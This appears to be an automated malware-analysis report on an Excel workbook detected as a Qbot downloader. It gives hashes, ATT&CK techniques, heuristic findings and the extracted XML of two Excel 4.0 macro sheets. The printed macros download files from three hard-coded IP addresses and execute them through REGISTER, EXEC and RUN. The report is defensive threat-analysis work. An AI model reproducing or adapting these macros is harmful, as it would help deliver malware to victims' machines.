Office (OOXML) malware analysis — malicious · 6c9c416bf953962d

MALICIOUS

Office (OOXML)

150.1 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-02

MD5: 75994abd67a27874d431b1da341f7eab SHA-1: 86ef9e03dc36c790ffb88692bcaa0f4028a68441 SHA-256: 6c9c416bf953962de5e5dab28ba852001bea233e492c7de5cbc255595148f587

250 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

This Excel file contains Excel 4.0 macros that leverage dangerous functions like REGISTER, EXEC, and RUN. The macros construct a URL to 'http://94.140.115.23/' and use the 'Jerutyg' function (likely a wrapper for URLDownloadToFileA) to download a file named 'Kro.fis' to the current directory. It then uses 'regsvr32' to execute the downloaded file, indicating a downloader functionality.

Heuristics 6

ClamAV: Xls.Downloader.Qbot06210-9875009-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.Qbot06210-9875009-0
Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: REGISTER, RUN, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://94.140.115.23/ In document text (OOXML body / shared strings)
- http://103.155.92.153/In document text (OOXML body / shared strings)
- http://45.153.231.190/In document text (OOXML body / shared strings)
- http://www.iec.chIn document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
- http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	2415 bytes
SHA-256: `37807bb00bcf4c8a09e967d7d097cec9e13f8b929fa4c14c7b64daf69881819f`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1F6988B8-EA22-44CB-B340-DE917F2EE874}"><dimension ref="F8:H25"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="5" width="9.140625" style="1"/><col min="6" max="6" width="27.5703125" style="1" customWidth="1"/><col min="7" max="7" width="36.7109375" style="1" customWidth="1"/><col min="8" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="8" spans="6:8" x14ac:dyDescent="0.25"><c r="G8" s="1" t="str"><f>NOW()&H8</f><v>44372,548321875</v></c><c r="H8" s="1" t="s"><v>3</v></c></row><row r="12" spans="6:8" x14ac:dyDescent="0.25"><c r="G12" s="1" t="b"><f>REGISTER(Sheet2!O12,Sheet2!O13,Sheet2!O14,Sheet2!O15,,1,9)</f><v>0</v></c></row><row r="13" spans="6:8" x14ac:dyDescent="0.25"><c r="F13" s="1" t="str"><f>"http://94.140.115.23/"</f><v>http://94.140.115.23/</v></c><c r="G13" s="1"><f>Jerutyg(0,F13&G8,"..\Kro.fis",0,0)</f><v>0</v></c></row><row r="14" spans="6:8" x14ac:dyDescent="0.25"><c r="F14" s="1" t="str"><f>"http://103.155.92.153/"</f><v>http://103.155.92.153/</v></c><c r="G14" s="1"><f>Jerutyg(0,F14&G8,"..\Kro.fis1",0,0)</f><v>0</v></c></row><row r="15" spans="6:8" x14ac:dyDescent="0.25"><c r="F15" s="1" t="str"><f>"http://45.153.231.190/"</f><v>http://45.153.231.190/</v></c><c r="G15" s="1"><f>Jerutyg(0,F15&G8,"..\Kro.fis2",0,0)</f><v>0</v></c></row><row r="25" spans="7:7" x14ac:dyDescent="0.25"><c r="G25" s="1" t="b"><f>RUN(Sheet3!H2)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
`xlm_sheet_01.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet2.xml	1743 bytes
SHA-256: `cd04a03b4f58aa21df8cd04c63c5ed24a678c90f1597ee10ee1e55415d10c97a`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1614BABA-7384-41D8-BABE-097E46CAC7C9}"><dimension ref="H9:H17"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="9.140625" style="1"/><col min="8" max="8" width="14.5703125" style="1" bestFit="1" customWidth="1"/><col min="9" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="9" spans="8:8" x14ac:dyDescent="0.25"><c r="H9" s="1" t="b"><f>EXEC(Sheet2!O22)</f><v>0</v></c></row><row r="10" spans="8:8" x14ac:dyDescent="0.25"><c r="H10" s="1" t="b"><f>EXEC(Sheet2!O22&"1")</f><v>0</v></c></row><row r="11" spans="8:8" x14ac:dyDescent="0.25"><c r="H11" s="1" t="b"><f>EXEC(Sheet2!O22&"2")</f><v>0</v></c></row><row r="17" spans="8:8" x14ac:dyDescent="0.25"><c r="H17" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.